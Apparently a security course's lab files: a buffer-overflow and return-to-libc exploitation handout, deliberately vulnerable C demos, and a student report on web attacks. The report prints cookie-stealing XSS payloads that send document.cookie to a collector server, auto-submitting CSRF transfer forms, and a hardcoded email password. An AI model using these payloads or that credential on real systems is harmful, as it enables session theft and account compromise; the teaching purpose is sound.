`process_client`).\n\nIt is worth taking your time on this exercise and familiarizing yourself with the code, because your next job is to exploit the vulnerability you identified. In fact, you may want to go back and forth between this exercise and [Exercises 2](#exercise-2) and [3.2](#exercise-3-2), as you work out the details and document them. That is, if you find a buffer overflow that you think can be exploited, you can use Exercises 2 and 3 to figure out if it indeed can be exploited. It will be helpful to draw a stack diagram like the figures in [Smashing the Stack in the 21st Century](https://thesquareplanet.com/blog/smashing-the-stack-21st-century/).\n\n:::\n\nNow, you will start developing exploits to take advantage of the buffer overflows you have found above. We have provided template Python code for an exploit in `~/labs/lab1_mem_vulnerabilities/exploit-template.py`, which issues an HTTP request. The exploit template takes two arguments, the server name and port number, so you might run it as follows to issue a request to `zookws` running on localhost:\n\n```bash\nhttpd@istd:~/labs/lab1_mem_vulnerabilities$ ./clean-env.sh ./zookd-exstack 8080 &\n[1] 2676\nhttpd@istd:~/labs/lab1_mem_vulnerabilities$ ./exploit-template.py localhost 8080\nHTTP request:\nGET / HTTP/1.0\n\n...\nhttpd@istd:~/labs/lab1_mem_vulnerabilities$\n```\n\nYou are free to use this template, or write your own exploit code from scratch. Note, however, that if you choose to write your own exploit, the exploit must run correctly inside the provided virtual machine.\n\n:::tip <p></p>\n\n### Exercise 2\n\nWrite an exploit that uses a buffer overflow to crash the web server (or one of the processes it creates). You do not need to inject code at this point. Verify that your exploit crashes the server by checking the last few lines of `dmesg | tail`, using `gdb`, or observing that the web server crashes (i.e., it will print `Child process 9999 terminated incorrectly, receiving signal 11`)\n\nProvide the code for the exploit in a file called `exploit-2.py`.\n\nThe vulnerability you found in [Exercise 1](#exercise-1) may be too hard to exploit. Feel free to find and exploit a different vulnerability.\n\n:::\n\nYou may find `gdb` useful in building your exploits (though it is not required for you to do so). As `zookd` forks off many processes (one for each client), it can be difficult to debug the correct one. The easiest way to do this is to run the web server ahead of time with `clean-env.sh` and then attaching `gdb` to an already-running process with the `-p` flag. You can find the PID of a process by using `pgrep`; for example, to attach to `zookd-exstack`, start the server and, in another shell, run\n\n```bash\nhttpd@istd:~/labs/lab1_mem_vulnerabilities$ gdb -p $(pgrep zookd-)\n...\n(gdb) break your-breakpoint\nBreakpoint 1 at 0x1234567: file zookd.c, line 999.\n(gdb) continue\nContinuing.\n```\n\nKeep in mind that a process being debugged by `gdb` will not get killed even if you terminate the parent `zookd` process using `Control + C (^C)`. If you are having trouble restarting the web server, check for leftover processes from the previous run, or be sure to exit `gdb` before restarting `zookd`. You can also save yourself some typing by using `b` instead of `break`, and `c` instead of `continue`.\n\nWhen a process being debugged by `gdb` forks, by default `gdb` continues to debug the parent process and does not attach to the child. Since `zookd` forks a child process to service each request, you may find it helpful to have `gdb` attach to the child on fork, using the command `set follow-fork-mode child`. We have added that command to `~/labs/lab1_mem_vulnerabilities/.gdbinit`, which will take effect if you start `gdb` in that directory.\n\nFor this and subsequent exercises, you may need to encode your attack payload in different ways, depending on which vulnerability you are exploiting. In some cases, you may need to make sure that your attack payload is URL-encoded; that is, use `+` instead of space and `%2b` instead of `+`. Here is a [URL encoding reference](http://www.blooberry.com/indexdot/html/topics/urlencoding.htm) and a handy [conversion tool](https://www.url-encode-decode.com/). You can also use quoting functions in the python `urllib` module to URL encode strings. In other cases, you may need to include binary values into your payload. The Python [struct](http://docs.python.org/2/library/struct.html) module can help you do that. For example, `struct.pack(\"<Q\", x)` will produce an 8-byte (64-bit) binary encoding of the integer `x`.\n\nYou can check whether your exploits crash the server as follows:\n\n```bash\nhttpd@istd:~/labs/lab1_mem_vulnerabilities$ make check-crash\n```\n\n## B) Code injection\n\nIn this part, you will use your buffer overflow exploits to inject code into the web server. The goal of the injected code will be to unlink (remove) a sensitive file on the server, namely `/home/httpd/grades.txt`. Use `zookd-exstack`, since it has an executable stack that makes it easier to inject code. The `zookws` web server should be started as follows.\n\n```bash\nhttpd@istd:~/labs/lab1_mem_vulnerabilities$ ./clean-env.sh ./zookd-exstack 8080\n```\n\nYou can build the exploit in two steps. First, write the shell code that unlinks the sensitive file, namely `~/labs/lab1_mem_vulnerabilities/grades.txt`. Second, embed the compiled shell code in an HTTP request that triggers the buffer overflow in the web server.\n\nWhen writing shell code, it is often easier to use assembly language rather than higher-level languages, such as C. This is because the exploit usually needs fine control over the stack layout, register values and code size. The C compiler will generate additional function preludes and perform various optimizations, which makes the compiled binary code unpredictable.\n\nWe have provided shell code for you to use in `~/labs/lab1_mem_vulnerabilities/shellcode.S`, along with `Makefile` rules that produce `~/labs/lab1_mem_vulnerabilities/shellcode.bin`, a compiled version of the shell code, when you run **make**. The provided shell code is intended to exploit setuid-root binaries, and thus it runs a shell. You will need to modify this shell code to instead unlink `/home/httpd/grades.txt`.\n\n:::tip <p></p>\n\n### Exercise 3.1\n\nModify `shellcode.S` to unlink `/home/httpd/grades.txt`. Your assembly code can either invoke the `SYS_unlink` system call, or call the `unlink()` library function.\n\n:::\n\nTo help you develop your shell code for this exercise, we have provided a program called `run-shellcode` that will run your binary shell code, as if you correctly jumped to its starting point. For example, running it on the provided shell code will cause the program to `execve(\"/bin/sh\")`, thereby giving you another shell prompt:\n\n```bash\nhttpd@istd:~/labs/lab1_mem_vulnerabilities$ ./run-shellcode shellcode.bin\n```\n\nTo test whether the shell code does its job, run the following commands:\n\n```bash\nhttpd@istd:~/labs/lab1_mem_vulnerabilities$ make\nhttpd@istd:~/labs/lab1_mem_vulnerabilities$ touch ~/grades.txt\nhttpd@istd:~/labs/lab1_mem_vulnerabilities$ ./run-shellcode shellcode.bin\nhttpd@istd:~/labs/lab1_mem_vulnerabilities$ ls ~/grades.txt\nls: cannot access /home/httpd/grades.txt: No such file or directory\n```\n\nYou may find [strace](https://linux.die.net/man/1/strace) useful when trying to figure out what system calls your shellcode is making. Much like with `gdb`, you attach `strace` to a running program:\n\n```bash\nhttpd@istd:~/labs/lab1_mem_vulnerabilities$ strace -f -p $(pgrep zookd-)\n```\n\nIt will then print all of the system calls that program makes. If your shell code isn't working, try looking for the system call you think your shell code should be executing (i.e., `unlink`).\n\nNext, we construct a malicious HTTP request that injects the compiled byte code to the web server, and hijack the server's control flow to run the injected code. When developing an exploit, you will have to think about what values are on the stack, so that you can modify them accordingly.\n\nWhen you're constructing an exploit, you will often need to know the addresses of specific stack locations, or specific functions, in a particular program. One way to do this is to add `printf()` statements to the function in question. For example, you can use `printf(\"Pointer: %p\\n\", &x);` to print the address of variable `x` or function `x`. However, this approach requires some care: you need to make sure that your added statements are not themselves changing the stack layout or code layout. We (and **make check**) will be grading the lab without any `printf` statements you may have added.\n\nA more fool-proof approach to determine addresses is to use `gdb`. For example, suppose you want to know the stack address of the `pn[]` array in the `http_serve` function in `zookd-exstack`, and the address of its saved return pointer. You can obtain them using `gdb` by first starting the web server (remember `clean-evn`!), and then attaching `gdb` to it:\n\n```bash\nhttpd@istd:~/labs/lab1_mem_vulnerabilities$ gdb -p $(pgrep zookd-)\n...\n(gdb) break http_serve\nBreakpoint 1 at 0x5555555561d2: file http.c, line 275.\n(gdb) continue\nContinuing.\n```\n\nBe sure to run `gdb` from the `~/labs/lab1_mem_vulnerabilities` directory, so that it picks up the `set follow-fork-mode child` command from `~/labs/lab1_mem_vulnerabilities/.gdbinit`. Now you can issue an HTTP request to the web server, so that it triggers the breakpoint, and so that you can examine the stack of `http_serve`.\n\n```bash\nhttpd@istd:~/labs/lab1_mem_vulnerabilities$ curl localhost:8080\n```\n\nThis will cause `gdb` to hit the breakpoint you set and halt execution, and give you an opportunity to ask `gdb` for addresses you are interested in:\n\n```bash\nThread 2.1 \"zookd-exstack\" hit Breakpoint 1, http_serve (fd=4, name=0x55555575f80c \"/\") at http.c:275\n275 void (*handler)(int, const char *) = http_serve_none;\n(gdb) print &pn\n$1 = (char (*)[2048]) 0x7fffffffd4b0\n(gdb) info frame\nStack level 0, frame at 0x7fffffffdce0:\n rip = 0x55555555622e in http_serve (http.c:275); saved rip = 0x5555555558e5\n called by frame at 0x7fffffffed10\n source language c.\n Arglist at 0x7fffffffdcd0, args: fd=4, name=0x55555575f80c \"/\"\n Locals at 0x7fffffffdcd0, Previous frame's sp is 0x7fffffffdce0\n Saved registers:\n rbx at 0x7fffffffdcc8, rbp at 0x7fffffffdcd0, rip at 0x7fffffffdcd8\n(gdb)\n```\n\nFrom this, you can tell that, at least for this invocation of `http_serve`, the `pn[]` buffer on the stack lives at address `0x7fffffffd4b0` (run the command **print &pn**), and the saved value of `%rip` (the return address in other words) is at `0x7fffffffdcd8`. If you want to see register contents, you can also use **info registers**.\n\n:::tip <p></p>\n\n### Exercise 3.2\n\nNow it's your turn to develop an exploit.\n\nYou can check whether your exploit works as follows:\n\n```bash\nhttpd@istd:~/labs/lab1_mem_vulnerabilities$ make check-exstack\n```\n\nThe test either prints \"PASS\" or \"FAIL\".\n\nThe standard C compiler used on Linux, gcc, implements a version of stack canaries (called SSP). You can explore whether GCC's version of stack canaries would or would not prevent a given vulnerability by using the SSP-enabled versions of `zookd`: `zookd-withssp`.\n\nSubmit your answers to the first two parts of this lab assignment by running **make prepare-submit-a** and upload the resulting `lab1a-handin.tar.gz` file to [edimension website](https://edimension.sutd.edu.sg).\n\n:::\n\n## C) Return-to-libc attacks\n\nMany modern operating systems mark the stack non-executable in an attempt to make it more difficult to exploit buffer overflows. In this part, you will explore how this protection mechanism can be circumvented. Run the web server configured with binaries that have a non-executable stack, as follows.\n\n```bash\nhttpd@istd:~/labs/lab1_mem_vulnerabilities$ ./clean-env.sh ./zookd-nxstack 8080\n```\n\nThe key observation to exploiting buffer overflows with a non-executable stack is that you still control the program counter, after a `ret` instruction jumps to an address that you placed on the stack. Even though you cannot jump to the address of the overflowed buffer (it will not be executable), there's usually enough code in the vulnerable server's address space to perform the operation you want.\n\nThus, to bypass a non-executable stack, you need to first find the code you want to execute. This is often a function in the standard library, called libc, such as `execve`, `system`, or `unlink`. Then, you need to arrange for the stack and registers to be in a state consistent with calling that function with the desired arguments. Finally, you need to arrange for the `ret` instruction to jump to the function you found in the first step. This attack is often called a _return-to-libc_ attack.\n\nOne challenge with return-to-libc attacks is that you need to pass arguments to the libc function that you want to invoke. The x86-64 calling conventions make this a challenge because the first 6 arguments [are passed in registers](https://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64). For example, the first argument must be in register `%rdi` (see `man 2 syscall`, which documents the calling convention). So, you need an instruction that loads the first argument into `%rdi`. In Exercise 3, you could have put that instruction in the buffer that your exploit overflows. But, in this part of the lab, the stack is marked non-executable, so executing the instruction would crash the server, but wouldn't execute the instruction.\n\nThe solution to this problem is to find a piece of code in the server that loads an address into `%rdi`. Such a piece of code is referred to as a \"borrowed code chunk\", or more generally as a [_rop gadget_](https://en.wikipedia.org/wiki/Return-oriented_programming), because it is a tool for return-oriented programming (rop). Luckily, `zookd.c` accidentally has a useful gadget: see the function `accidentally`.\n\n:::tip <p></p>\n\n### Exercise 4\n\nStarting from your exploit in [Exercise 2](#exercise-2) and [3.2](#exercise-3-2), construct an exploit that unlinks `/home/httpd/grades.txt` when run on the binaries that have a non-executable stack. Name this new exploit `exploit-4.py`.\n\nIn this attack you are going to take control of the server over the network _without injecting any code_ into the server. You should use a return-to-libc attack where you redirect control flow to code that already existed before your attack. The outline of the attack is to perform a buffer overflow that:\n\n1. causes the argument to the chosen libc function to be on stack\n2. then causes `accidentally` to run so that argument ends up in `%rdi`\n3. and then causes `accidentally` to return to the chosen libc function\n\nIt will be helpful to draw a stack diagram like the figures in [Smashing the Stack in the 21st Century](https://thesquareplanet.com/blog/smashing-the-stack-21st-century/) at (1) the point that the buffer overflows and (2) at the point that `accidentally` runs.\n\nYou can test your exploits as follows:\n\n```bash\nhttpd@istd:~/labs/lab1_mem_vulnerabilities$ make check-libc\n```\n\n:::\n\n## D) Fixing buffer overflows and other bugs\n\nNow that you have figured out how to exploit buffer overflows, you will try to find other kinds of vulnerabilities in the same code. As with many real-world applications, the \"security\" of our web server is not well-defined. Thus, you will need to use your imagination to think of a plausible threat model and policy for the web server.\n\n:::tip <p></p>\n\n### Exercise 5\n\nLook through the source code and try to find more vulnerabilities that can allow an attacker to compromise the\nsecurity of the web server. Describe the attacks you have found, along with an explanation of the limitations of the attack, what an attacker can accomplish, why it works, and how you might go about fixing or preventing it. You should ignore bugs in `zoobar`'s code. They will be addressed in future labs.\n\nOne approach for finding vulnerabilities is to trace the flow of inputs controlled by the attacker through the server code. At each point that the attacker's input is used, consider all the possible values the attacker might have provided at that point, and what the attacker can achieve in that manner.\n\nYou should find at least two vulnerabilities for this exercise.\n\n:::\n\nFinally, you will fix the vulnerabilities that you have exploited in this lab assignment.\n\n:::tip <p></p>\n\n### Exercise 6\n\nFor each buffer overflow vulnerability you have exploited in Exercises 2, 3, and 4, fix the web server's code to prevent the vulnerability in the first place. Do not rely on compile-time or runtime mechanisms such as [stack canaries](https://en.wikipedia.org/wiki/Stack_buffer_overflow#Stack_canaries), removing `-fno-stack-protector`, baggy bounds checking, etc.\n\nMake sure that your code actually stops your exploits from working. Use **make check-fixed** to run your exploits against your modified source code (as opposed to the staff reference binaries from `bin.tar.gz`). These checks should report FAIL (i.e., exploit no longer works). If they report PASS, this means the exploit still works, and you did not correctly fix the vulnerability.\n\nNote that your submission should _not_ make changes to the `Makefile` and other grading scripts. We will use our unmodified version during grading.\n\nYou should also make sure your code still passes all tests using **make check**, which uses the unmodified lab binaries.\n\n:::\n\n## Submission\n\nYour submission include the codes (if any) to the exercise, and *one* short report explaining all of your\nsolutions. The report is in PDF format, named `answers.pdf` and will be given a maximum of three points. Zip all files and upload to eDimension. \n\nUse the following commands to generate the codes for submission. Keep in mind that those commands only compress the files of your lab folder. Make sure that your changes are included in the compressed files according to their respective exercises.\n\n| Exercise | Deliverable | Command |\n| ------------------------------------------------------------ | ------------------------------------------------- | ------------------------- |\n| [2](#exercise-2), [3.1](#exercise-3-1), [3.2](#exercise-3-2) | `lab1a-handin.tar.gz` | **make prepare-submit-a** |\n| [4](#exercise-4), [6](#exercise-6) | `lab1-handin.tar.gz`| **make prepare-submit** |\n\n## Acknowledgement\nThis lab is modified from MIT's Computer System Security (6858) labs. We thank the MIT staff for releasing the source code.\n" }, { "alpha_fraction": 0.42941176891326904, "alphanum_fraction": 0.5117647051811218, "avg_line_length": 14.363636016845703, "blob_id": "aaf5b7effbecd5eaceb362a6952c690a05c945ab", "content_id": "0b971017a7f3a9f0990d4b80141920a5702a7b97", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 170, "license_type": "no_license", "max_line_length": 31, "num_lines": 11, "path": "/demo/memerror/rop.c", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "int main() {\n char name[16];\n read(0, name, 128);\n}\nint foo() {\n return open(\"/flag\", 0);\n}\nint bar() {\n int x = open(\"/notflag\", 0);\n sendfile(1, x, 0, 1024);\n}\n\n" }, { "alpha_fraction": 0.4968152940273285, "alphanum_fraction": 0.5541401505470276, "avg_line_length": 18.625, "blob_id": "5430d5dd9c127846f3e698c41431a4600bcd15d6", "content_id": "44e5a597d81cbf54bbd106df5e1ee17947126db8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 157, "license_type": "no_license", "max_line_length": 35, "num_lines": 8, "path": "/demo/memerror/leak.c", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "int main(int argc, char **argv) {\n\tchar name[8]={0};\n\tchar flag[64];\n\tread(open(\"/flag\", 0), flag, 64); \n\tputs(\"Name: \");\n\tread(0, name, 8); \n\tputs(name);\n}\n" }, { "alpha_fraction": 0.5073891878128052, "alphanum_fraction": 0.5763546824455261, "avg_line_length": 15.916666984558105, "blob_id": "ab8aa03d162e096e9c8a10dd9f7d187bf350ddec", "content_id": "502c11ac4a62cc8ce7cb58f71ce05c67ac333176", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 203, "license_type": "no_license", "max_line_length": 44, "num_lines": 12, "path": "/demo/memerror/stack.c", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "void vuln() {\n char small_buffer[16];\n read(0, small_buffer, 128);\n}\nint main(int argc, char **argv, char **envp)\n{\n vuln();\n puts(\"Bye!\");\n}\nvoid win() {\n sendfile(1, open(\"/flag\", 0), 0, 0x1000);\n}\n" }, { "alpha_fraction": 0.6248093247413635, "alphanum_fraction": 0.6400610208511353, "avg_line_length": 31.78333282470703, "blob_id": "0579046c9a4c3e965597dae95ce87115dc22adfc", "content_id": "5aacf78b97ca9cc2cab5819b1296c232a43eec70", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1967, "license_type": "no_license", "max_line_length": 79, "num_lines": 60, "path": "/tutorials/session11/xss-cookie/app/xss_demo/__init__.py", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "from pyramid.config import Configurator\nfrom pyramid.authentication import AuthTktAuthenticationPolicy\nfrom pyramid.authorization import ACLAuthorizationPolicy\nimport os\nfrom .models import (\n DB,\n Post,\n Comment,\n User,\n )\n\n\ndef _init_db():\n user1 = User('Administrator', 'top-secret')\n DB.save(user1)\n p1 = Post('First blogpost', 'My first blogpost. [...]', 'Administrator')\n p2 = Post('Second blogpost', 'Another blogpost. [...]', 'Administrator')\n p3 = Post('Third blogpost', 'Yet another blogpost. [...]', 'Administrator')\n DB.save(p1)\n DB.save(p2)\n DB.save(p3)\n c1 = Comment('Great post!', 'Paul E.', post_id=p1.id)\n c2 = Comment(\n 'Well written but I disagree with your conclusion.',\n 'Max M.',\n post_id=p1.id\n )\n c3 = Comment('Hmm', 'T.T.', post_id=p3.id)\n DB.save(c1)\n DB.save(c2)\n DB.save(c3)\n p1.comment_ids = [c1.id, c2.id]\n p3.comment_ids = [c3.id]\n DB.save(p1)\n DB.save(p3)\n\n\ndef main(global_config, **settings):\n \"\"\" This function returns a Pyramid WSGI application.\n \"\"\"\n config = Configurator(settings=settings)\n secret = os.urandom(32) # Cookies will become invalid after restart\n authn_policy = AuthTktAuthenticationPolicy(secret)\n # http_only=True\n authz_policy = ACLAuthorizationPolicy()\n config.set_authentication_policy(authn_policy)\n config.set_authorization_policy(authz_policy)\n config.include('pyramid_chameleon')\n config.add_static_view('static', 'static', cache_max_age=3600)\n config.add_route('home', '/')\n config.add_route('post', '/post/{id}')\n config.add_route('add_comment', '/post/{id}/add_comment')\n config.add_route('search', '/search')\n config.add_route('search_raw', '/search_raw')\n config.add_route('login', '/login')\n config.add_route('new_post', '/new_post')\n config.add_route('add_post', '/add_post')\n config.scan()\n _init_db()\n return config.make_wsgi_app()\n" }, { "alpha_fraction": 0.5573770403862, "alphanum_fraction": 0.5901639461517334, "avg_line_length": 19.266666412353516, "blob_id": "7175de85b67ae53f36d8f7b73e857fd903b9aae4", "content_id": "3bb73ad7945ec52337e39b8c2cc2a113d8af0432", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 305, "license_type": "no_license", "max_line_length": 42, "num_lines": 15, "path": "/demo/shell/hello.c", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "void bye1() { puts(\"Goodbye!\"); }\nvoid bye2() { puts(\"Farewell!\"); }\nvoid hello(char *name, void (*bye_func)())\n{\n\tprintf(\"Hello %s!\\n\", name);\n\tbye_func();\n}\nint main(int argc, char **argv)\n{\n\tchar name[1024];\n\tgets(name);\n\tsrand(time(0));\n\tif (rand() % 2) hello(bye1, name);\n\telse hello(name, bye2);\n}\n\n" }, { "alpha_fraction": 0.6616740822792053, "alphanum_fraction": 0.6896111965179443, "avg_line_length": 41.88838195800781, "blob_id": "485393903d7d53ea7628edd45868f51c61dacd3b", "content_id": "cc85d9df865a6ace5fe0ba2a8a6b57c2ac4524e6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 18828, "license_type": "permissive", "max_line_length": 794, "num_lines": 439, "path": "/lab3_web_security/report.md", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "# System Security Lab 3\n\nAlex W `1003474`\nSheikh Salim `1003367`\n\n## Part A : XSS Attack\n### Exercise 1\nThe script used is:\n```javascript\nalert(document.cookie)\n```\nOn logging as `alex`, and viewing his profile, the following alert window with cookie is printed:\n![](https://i.imgur.com/btSCh3g.png)\n![](https://i.imgur.com/WGdMwKt.png)\n\n### Exercise 2\nThe script used is:\n```javascript\n(new Image()).src='http://127.0.0.1:8000?' + '[email protected]' + '&payload=' + encodeURIComponent(document.cookie)+ '&random=' + Math.random();\n```\nOn logging as `alex`, and viewing his profile, the following output is captured in flask server:\n![](https://i.imgur.com/vjCWYFC.png)\n\nWe utilise gmail for sending and receiving emails, with the help of `smtplib`.\n\n```python=\nclass Mail:\n def __init__(self):\n self.port = 465\n self.smtp_server_domain_name = \"smtp.gmail.com\"\n self.sender_mail = \"[email protected]\"\n self.password = \"4865VmcNrmKR2pF\"\n\n def send(self, recipient, subject):\n ssl_context = ssl.create_default_context()\n service = smtplib.SMTP_SSL(self.smtp_server_domain_name,\n self.port,\n context=ssl_context)\n service.login(self.sender_mail, self.password)\n\n result = service.sendmail(self.sender_mail, recipient,\n \"Subject: {}\".format(subject))\n\n service.quit()\n \nmail = Mail()\nmail.send(arg1, arg2)\n\n \n```\nExample email is sent from `[email protected]` to `[email protected]`:\n![](https://i.imgur.com/Q3C7srr.png)\n\n\n\n### Exercise 3\nAs the input field is directly appended to the url, this vulnerability can be used to inject any javascript into the browser. The same script in Exercise 1 is wrapped in \"\", with a closing tag `>`, and then the `<script></script>`.\n```javascript\n\"><script>alert(document.cookie)</script>\"\n```\n\nThe result is same as Exercise 1\n![](https://i.imgur.com/uShbNCw.png)\n\nThe encoded URL is\n```\nhttp://localhost:8080/zoobar/index.cgi/users?user=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%22\n```\n\n### Exercise 4\nThe same script in Exercise 2 is wrapped in \"\", with a closing tag `>`, and then the `<script></script>`.\n```javascript\n\"><script>(new Image()).src='http://127.0.0.1:8000?' + '[email protected]' + '&payload=' + encodeURIComponent(document.cookie)+ '&random=' + Math.random();</script>\"\n```\n\nThe result is same as Exercise 2\n\nThe encoded URL is\n```\nhttp://localhost:8080/zoobar/index.cgi/users?user=%22%3E%3Cscript%3E%28new+Image%28%29%29.src%3D%27http%3A%2F%2F127.0.0.1%3A8000%3F%27+%2B+%27to%3Dsyssechacks%40gmail.com%27+%2B+%27%26payload%3D%27+%2B+encodeURIComponent%28document.cookie%29%2B+%27%26random%3D%27+%2B+Math.random%28%29%3B%3C%2Fscript%3E%22\n```\n\n### Exercise 5\nAs the injected javascript is displayed inline with the original html elements, there needs to be corresponding scripts to enclose existing elements and inject new ones that look like the existing ones.\n\nWe achieve so by inspecting the original html:\n```html\n<input type=\"text\" name=\"user\" value=\"\" size=\"10\">\n```\n\nThe injected script that is injected to `value` need to close the input tag with size 0 to match the original look, and spawn a new View button that loads the remote image:\n```\n\"size=10></span><br><input type=\"submit\" value=\"View\"><style>.warning{display:none;}</style><img style=\"display:none;\" src=\"a\" onerror=\"(new Image()).src='http://127.0.0.1:8000?' + '[email protected]' + '&payload=' + encodeURIComponent(document.cookie)+ '&random=' + Math.random();\" a=\n```\n\nThe encoded html is as follows:\n```\nhttp://localhost:8080/zoobar/index.cgi/users?user=%22size%3D10%3E%3C%2Fspan%3E%3Cbr%3E%3Cinput+type%3D%22submit%22+value%3D%22View%22%3E%3Cstyle%3E.warning%7Bdisplay%3Anone%3B%7D%3C%2Fstyle%3E%3Cimg+style%3D%22display%3Anone%3B%22+src%3D%22a%22+onerror%3D%22%28new+Image%28%29%29.src%3D%27http%3A%2F%2F127.0.0.1%3A8000%3F%27+%2B+%27to%3Dsyssechacks%40gmail.com%27+%2B+%27%26payload%3D%27+%2B+encodeURIComponent%28document.cookie%29%2B+%27%26random%3D%27+%2B+Math.random%28%29%3B%22+a%3D\n```\n\n![](https://i.imgur.com/HCStBeO.png)\n\n\n![](https://i.imgur.com/P4OcZFN.png)\n\n\n## Part B: Cross-site request forgery\n\n### Exercise 6\n\nIn this part we will create an automated form to auto send 10 zoobars from the user on visit to a malicious HTML page. \n\nTo do so, we first extract and experiment using the form on localhost as such:\n![](https://i.imgur.com/m1gE835.png)\n\nWhile account `sheek` is logged in, we click send, resulting in the following\n\nOn account `sheek`, redirected to:\n![](https://i.imgur.com/ELUaoSd.png)\n\nOn account `attacker`:\n(The extra 2 zoobars was from previous testing)\n![](https://i.imgur.com/Vwe7UfY.png)\n\n\n\nThus, the next step is to simply autofill the form submission, by filling up the correct details accordingly. Below shows the form with the fields automcompleted:\n```htmlmixed=\n<form method=\"POST\" name=\"transferform\" action=\"http://localhost:8080/zoobar/index.cgi/transfer\">\n <p>Send <input name=\"zoobars\" type=\"text\" value=\"10\" size=5> zoobars</p>\n <p>to <input name=recipient type=text value=\"attacker\" size=10></p>\n <input type=\"submit\" name=\"submission\" value=\"Send\">\n</form>\n```\n\n\n### Exercise 7\n\nOn exercise 7, we will now automate the `send` process of the form. To do so, we will utilise a simple javascript code that will run on the user's browser upon visiting the link. To do so, we simply have to add the following script snippet into the html page. This will cause the from to submit upon page load.\n\n```htmlembedded=\n<form method=\"POST\" name=\"transferform\" action=\"http://localhost:8080/zoobar/index.cgi/transfer\">\n <p>Send <input name=\"zoobars\" type=\"text\" value=\"10\" size=5> zoobars</p>\n <p>to <input name=recipient type=text value=\"attacker\" size=10></p>\n <input type=\"submit\" name=\"submission\" value=\"Send\">\n</form>\n\n<script>\n window.onload = function(){\n document.forms[0].submit()\n }\n\n</script>\n```\n\nResult upon visiting `answer-7.html`:\n![](https://i.imgur.com/u2JEnqR.png)\n\n### Exercise 8\n\nAs noted in previous exercises, the user will know that the transaction has happened, as the page will redirect automatically back to the original zoobar transaction page. Hence, this exercise will fix that so that it redirects to `sutd.edu.sg` instead. Javascript will be utilised again for this part. \n\nWhat was done: \n1. Hide the form and necessarry indicators using CSS `display:none`\n\nWe made sure to properly hide all the forms and iframes using the html tag `<style>`, which takes in CSS styles. There, we specified `display: None;`, a common trick front end developers emply to hide html elements from the user\n\n\n2. Cause the redirect to happen via the `iframe` tag via the form's `target` parameter as in the documentation [here](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/form#attr-target)\n\nWe made sure to create a `malicious-iframe` which does the redirecting upon form submission via the `target` keyword, which takes in the element's name. This is done so that the transfer page is loaded on the iframe in the same page, and because it is invisible, a normal user won't realise. We also added a `onLoad` eventListener, as specified in the handout, to do the redirecting once the form is submitted. To do so, we set `window.location` to be `\"https://www.sutd.edu.sg/\"`.\n\n\nThe full code is as below:\n```htmlembedded\n<form method=\"POST\" name=\"transferform\" action=\"http://localhost:8080/zoobar/index.cgi/transfer\" style = \"display: none;\" target=\"malicious-frame\">\n <p>Send <input name=\"zoobars\" type=\"text\" value=\"10\" size=5> zoobars</p>\n <p>to <input name=recipient type=text value=\"attacker\" size=10></p>\n <input type=\"submit\" name=\"submission\" value=\"Send\">\n</form>\n<iframe id=\"malicious-iframe\" name=\"malicious-iframe\" style=\"display: none;\"></iframe>\n<script>\n //Submits the form\n window.onload = function(){\n document.forms[0].submit()\n }\n // Proceeds to redirect to sutd page\n var malIframe = document.getElementById(\"malicious-iframe\")\n malIframe.addEventListener(\"load\", function() {\n window.location = \"https://www.sutd.edu.sg/\"\n })\n\n</script>\n```\n\n\n\nWhen the attack runs on account `sheek3`:\n1. Redirected to `sutd.edu.sg`\n![](https://i.imgur.com/6Tvjx2b.png)\n![](https://i.imgur.com/8lBIDwN.png)\n\n2. Account balance has been siphoned\n![](https://i.imgur.com/Ytb9K9f.png)\n\n\n**Why CSRF still works in SOP**\nCSRF is not stopped by Single Origin Policy. This is so as SOP is a protection mechanism for the browser. Both CORS and SOP only prevents a page from rendering results from a server, and only a selective number of requests (`XMLHTTPRequests`) from the browser will undergo pre-flight requests where a request is rejected at the browser/client level. In our case, the request is being sent via a URL encoded form through the POST method is not part of this list of requests. This will hence not require a pre-flight request, thus, the request is allowed to proceed. \nWe do note however that the response will not be rendered due to the SOP, but still, the request has successfully reached the backend server and applied as the server has no checks on the request (ie; via referrer header), thus making our attack effective and successful.\n \n\n<!-- via hidden form method csrf\n\nhttp://localhost:8080/zoobar/index.cgi/transfer\n```\ncurl 'http://localhost:8080/zoobar/index.cgi/transfer' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-GB,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://localhost:8080' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Referer: http://localhost:8080/zoobar/index.cgi/transfer' -H 'Cookie: io=JntPDscgwGeKjYSjAAAL; PyZoobarLogin=alex#6fbb18163a3c8f531dc481bd76586fb5' -H 'Upgrade-Insecure-Requests: 1' -H 'Sec-Fetch-Dest: document' -H 'Sec-Fetch-Mode: navigate' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-User: ?1' -H 'Sec-GPC: 1' --data-raw 'zoobars=2&recipient=sheek&submission=Send'\n```\n\n```\nzoobars=2\nrecipient=sheek\nsubmission=Send\n``` -->\n\n## Part C: Fake Login Page\n\n### Exercise 9\nIn exercise 9, we simply copy over the form element directly from the page, and ensure that we set the submission action to be towards `http://localhost:8080/zoobar/index.cgi/login` as specified in the handout.\n![](https://i.imgur.com/TE1ZQLt.png)\n**After 